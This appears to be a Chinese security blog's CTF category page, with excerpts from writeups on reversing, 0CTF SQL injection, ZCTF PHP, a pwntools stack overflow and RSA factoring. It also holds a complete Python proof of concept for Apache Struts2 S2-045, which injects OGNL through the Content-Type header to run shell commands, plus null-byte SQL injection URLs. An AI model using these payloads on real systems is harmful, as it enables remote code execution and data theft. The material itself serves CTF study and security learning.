MENU

Category: CTF

2017湖湘杯复赛writeup

RE100 Re4newer

查壳发现有 UPX,脱掉之后 IDA 分析定位主函数进行逆向,sub_401080

  *(_OWORD *)v4 = xmmword_41D740;
  *(_OWORD *)&v4[4] = xmmword_41D730;
  *(_OWORD *)&v4[8] = xmmword_41D7A0;
  *(_OWORD *)&v4[12] = xmmword_41D760;
  v5 = xmmword_41D7D0;
  v6 = xmmword_41D750;
  v7 = xmmword_41D790;
  v8 = xmmword_41D780;
  v9 = xmmword_41D7C0;
  v10 = xmmword_41D7B0;
  v11 = xmmword_41D770;
  if ( a1 == 44 )
  {
    i = 0;
    do
    {
      if ( (a2[i] ^ 0x22) != v4[i] )
        break;
      ++i;
    }
    while ( i < 44 );
    if ( i == 44 )
      printf_1("success!\n", a3);
    else
      printf_1("wrong~\n", a3);
  }

还是异或,抠出来异或一次好了。

Read More

0CTF 2017 writeup

simplesqlin

名字就能看出来是注入了,然而 select 被过滤,百般尝试后发现插入 %00 后可以绕过。

http://202.120.7.203/index.php?id=-1 union sele%00ct 1,database(),user()
http://202.120.7.203/index.php?id=-1 union sele%00ct 1,database(),group_concat(table_name) fr%00om information_schema.tables wher%00e table_schema=database()
http://202.120.7.203/index.php?id=-1 union sele%00ct 1,database(),group_concat(column_name) fr%00om information_schema.columns wher%00e table_schema=database() and table_name=0x666c6167
http://202.120.7.203/index.php?id=-1 union sele%00ct 1,database(),flag fr%00om flag

数据库是 news,表有 flagnews

Read More

S2-045 POC

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()

poc()

操作系统识别的部分好像不好使。。。

Read More

ZCTF 2017 writeup

WEB

web100

扫目录得到 .index.php.swp

<?php
$flag = $_GET['flag'];
if ($flag != '15562') {
    if (strstr($flag, 'zctf')) {
        if (substr(md5($flag),8,16) == substr(md5('15562'),8,16)) {
            die('ZCTF{#########}');
        }
    }##
}
die('ha?')
?>

Read More

湖湘杯 writeup

1 题目名 Pwnme

栈溢出,可以看到存在 get_flag() 函数,构造 payload 调用它即可。
input your choice 处填入 0xA4 个字节后可以溢出,然后更改指针到 get_flag() 处。

from pwn import *
p = remote('114.215.43.119', 10001)
p.sendline('5')
payload = 'A'*0xa4 + 'B'*0x04 +  p32(0x8048677)  
p.sendline(payload)
p.interactive()

pwnme1

Read More

RSA 中根据 (N, e, d) 求 (p, q)

湖湘杯有一道题是知道 $(N, e, d)$ 求 $(p, q)$,当时用了 $ e\cdot d - 1 = h \cdot \varphi (n) $ 这个公式,爆破 $h$,考虑 $ \varphi (n) $ 与 $ N $ 相差不大,可以认为位数相同,求出 $ \varphi (n) $ 之后再根据 $ N = p\cdot q $ 和 $ \varphi(n) = (p - 1)(q - 1) $ 联立一个方程。

Read More

Smali 语法学习

smali生成

使用 apktool 反编译 apk 后,会在反编译工程目录下生成一个 smali 文件夹,其中 android 下存放所调用库的 smali 文件,com 才是我们自己写的代码的 smali 文件。

Read More